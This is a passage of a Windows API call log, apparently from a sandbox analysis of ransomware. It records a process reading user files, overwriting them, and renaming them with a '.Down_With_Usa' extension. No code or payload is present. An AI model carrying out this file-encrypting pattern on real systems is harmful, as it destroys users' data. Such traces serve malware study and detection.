[0117.226] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0117.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0117.226] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.txt"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2164f200, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2257be40, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x630)) returned 1
[0117.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0117.226] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.txt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.txt.down_with_usa")) returned 1
[0117.228] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x46
[0117.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0117.228] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0117.228] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x4bd
[0117.228] ReadFile (in: hFile=0x3a8, lpBuffer=0x27ab878, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x27ab878*, lpNumberOfBytesRead=0x2eb8d8*=0x4bd, lpOverlapped=0x0) returned 1
[0117.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x46
[0117.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0117.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.350] GetFileType (hFile=0x3a8) returned 0x1
[0117.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0117.351] GetFileType (hFile=0x3a8) returned 0x1
[0117.351] WriteFile (in: hFile=0x3a8, lpBuffer=0x2699b80*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2eb7f8, lpOverlapped=0x0 | out: lpBuffer=0x2699b80*, lpNumberOfBytesWritten=0x2eb7f8*=0x4c0, lpOverlapped=0x0) returned 1
[0117.353] CloseHandle (hObject=0x3a8) returned 1
[0117.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x46
[0117.355] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0117.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0117.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.vbs"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21675360, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x21675360, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x226d2aa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1
[0117.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0117.355] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.vbs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\!Please Read Me!.vbs.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\!please read me!.vbs.down_with_usa")) returned 1
[0117.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0117.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", lpFilePart=0x0) returned 0x3e
[0117.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\", lpFilePart=0x0) returned 0x3f
[0117.358] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2164f200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0117.358] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2164f200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.359] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2164f200, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2164f200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0117.359] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2164f200, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2164f200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0117.359] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d40960, ftCreationTime.dwHighDateTime=0x1d5df8a, ftLastAccessTime.dwLowDateTime=0x2fbffb00, ftLastAccessTime.dwHighDateTime=0x1d5e413, ftLastWriteTime.dwLowDateTime=0x2137b7e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc840, dwReserved0=0x0, dwReserved1=0x0, cFileName="L1xhTDw2symjMs6.gif.Down_With_Usa", cAlternateFileName="L1XHTD~1.DOW")) returned 1
[0117.359] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387b08c0, ftCreationTime.dwHighDateTime=0x1d5e67f, ftLastAccessTime.dwLowDateTime=0xfd41a030, ftLastAccessTime.dwHighDateTime=0x1d5dcdc, ftLastWriteTime.dwLowDateTime=0x213edc00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="lxTY6pYbupq64XtDTn.bmp.Down_With_Usa", cAlternateFileName="LXTY6P~1.DOW")) returned 1
[0117.360] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x339f5160, ftCreationTime.dwHighDateTime=0x1d5e7df, ftLastAccessTime.dwLowDateTime=0xd8f8f6b0, ftLastAccessTime.dwHighDateTime=0x1d5e565, ftLastWriteTime.dwLowDateTime=0x21460020, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mN-HG.bmp.Down_With_Usa", cAlternateFileName="MN-HGB~1.DOW")) returned 1
[0117.360] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b9eb910, ftCreationTime.dwHighDateTime=0x1d5d921, ftLastAccessTime.dwLowDateTime=0x2837ce00, ftLastAccessTime.dwHighDateTime=0x1d5de30, ftLastWriteTime.dwLowDateTime=0x214d2440, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x14100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pob6cI7Fkngn.swf.Down_With_Usa", cAlternateFileName="POB6CI~1.DOW")) returned 1
[0117.360] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f118a30, ftCreationTime.dwHighDateTime=0x1d5d7c5, ftLastAccessTime.dwLowDateTime=0xb700b0e0, ftLastAccessTime.dwHighDateTime=0x1d5e2ed, ftLastWriteTime.dwLowDateTime=0x215b6c80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1be0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sGus9MqEj6Yk560bB0dL.odp.Down_With_Usa", cAlternateFileName="SGUS9M~1.DOW")) returned 1
[0117.361] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52073bd0, ftCreationTime.dwHighDateTime=0x1d5d840, ftLastAccessTime.dwLowDateTime=0x2b4b4f0, ftLastAccessTime.dwHighDateTime=0x1d5e325, ftLastWriteTime.dwLowDateTime=0x216290a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="U-IuASDYwxO3fbK.bmp.Down_With_Usa", cAlternateFileName="U-IUAS~1.DOW")) returned 1
[0117.361] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0117.361] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0117.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0117.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0117.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ", lpFilePart=0x0) returned 0x3e
[0117.362] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\", lpFilePart=0x0) returned 0x3f
[0117.362] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2164f200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0117.362] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da55080, ftCreationTime.dwHighDateTime=0x1d5e5c9, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2164f200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0117.363] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2164f200, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2164f200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0117.363] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2164f200, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2164f200, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x2164f200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0117.364] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d40960, ftCreationTime.dwHighDateTime=0x1d5df8a, ftLastAccessTime.dwLowDateTime=0x2fbffb00, ftLastAccessTime.dwHighDateTime=0x1d5e413, ftLastWriteTime.dwLowDateTime=0x2137b7e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc840, dwReserved0=0x0, dwReserved1=0x0, cFileName="L1xhTDw2symjMs6.gif.Down_With_Usa", cAlternateFileName="L1XHTD~1.DOW")) returned 1
[0117.364] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x387b08c0, ftCreationTime.dwHighDateTime=0x1d5e67f, ftLastAccessTime.dwLowDateTime=0xfd41a030, ftLastAccessTime.dwHighDateTime=0x1d5dcdc, ftLastWriteTime.dwLowDateTime=0x213edc00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="lxTY6pYbupq64XtDTn.bmp.Down_With_Usa", cAlternateFileName="LXTY6P~1.DOW")) returned 1
[0117.364] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x339f5160, ftCreationTime.dwHighDateTime=0x1d5e7df, ftLastAccessTime.dwLowDateTime=0xd8f8f6b0, ftLastAccessTime.dwHighDateTime=0x1d5e565, ftLastWriteTime.dwLowDateTime=0x21460020, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="mN-HG.bmp.Down_With_Usa", cAlternateFileName="MN-HGB~1.DOW")) returned 1
[0117.365] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b9eb910, ftCreationTime.dwHighDateTime=0x1d5d921, ftLastAccessTime.dwLowDateTime=0x2837ce00, ftLastAccessTime.dwHighDateTime=0x1d5de30, ftLastWriteTime.dwLowDateTime=0x214d2440, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x14100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pob6cI7Fkngn.swf.Down_With_Usa", cAlternateFileName="POB6CI~1.DOW")) returned 1
[0117.365] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f118a30, ftCreationTime.dwHighDateTime=0x1d5d7c5, ftLastAccessTime.dwLowDateTime=0xb700b0e0, ftLastAccessTime.dwHighDateTime=0x1d5e2ed, ftLastWriteTime.dwLowDateTime=0x215b6c80, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1be0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sGus9MqEj6Yk560bB0dL.odp.Down_With_Usa", cAlternateFileName="SGUS9M~1.DOW")) returned 1
[0117.366] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52073bd0, ftCreationTime.dwHighDateTime=0x1d5d840, ftLastAccessTime.dwLowDateTime=0x2b4b4f0, ftLastAccessTime.dwHighDateTime=0x1d5e325, ftLastWriteTime.dwLowDateTime=0x216290a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="U-IuASDYwxO3fbK.bmp.Down_With_Usa", cAlternateFileName="U-IUAS~1.DOW")) returned 1
[0117.366] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52073bd0, ftCreationTime.dwHighDateTime=0x1d5d840, ftLastAccessTime.dwLowDateTime=0x2b4b4f0, ftLastAccessTime.dwHighDateTime=0x1d5e325, ftLastWriteTime.dwLowDateTime=0x216290a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="U-IuASDYwxO3fbK.bmp.Down_With_Usa", cAlternateFileName="U-IUAS~1.DOW")) returned 0
[0117.366] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0117.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0117.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0117.368] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x53
[0117.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0117.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.368] GetFileType (hFile=0x3a8) returned 0x1
[0117.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0117.369] GetFileType (hFile=0x3a8) returned 0x1
[0117.369] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x623
[0117.369] ReadFile (in: hFile=0x3a8, lpBuffer=0x269fd20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x269fd20*, lpNumberOfBytesRead=0x2eb358*=0x623, lpOverlapped=0x0) returned 1
[0117.369] CloseHandle (hObject=0x3a8) returned 1
[0117.402] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x53
[0117.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb2a0) returned 1
[0117.402] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l9quneqlgif\\p_ner27oktqj\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0117.404] GetFileType (hFile=0x3a8) returned 0x1
[0117.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb210) returned 1
[0117.404] GetFileType (hFile=0x3a8) returned 0x1
[0117.404] WriteFile (in: hFile=0x3a8, lpBuffer=0x278e690*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2eb278, lpOverlapped=0x0 | out: lpBuffer=0x278e690*, lpNumberOfBytesWritten=0x2eb278*=0x630, lpOverlapped=0x0) returned 1
[0117.406] CloseHandle (hObject=0x3a8) returned 1
[0117.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x53
[0117.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\l9QUNeqlGif\\p_nER27OkTqJ\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x61
[0117.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb3a0) returned 1
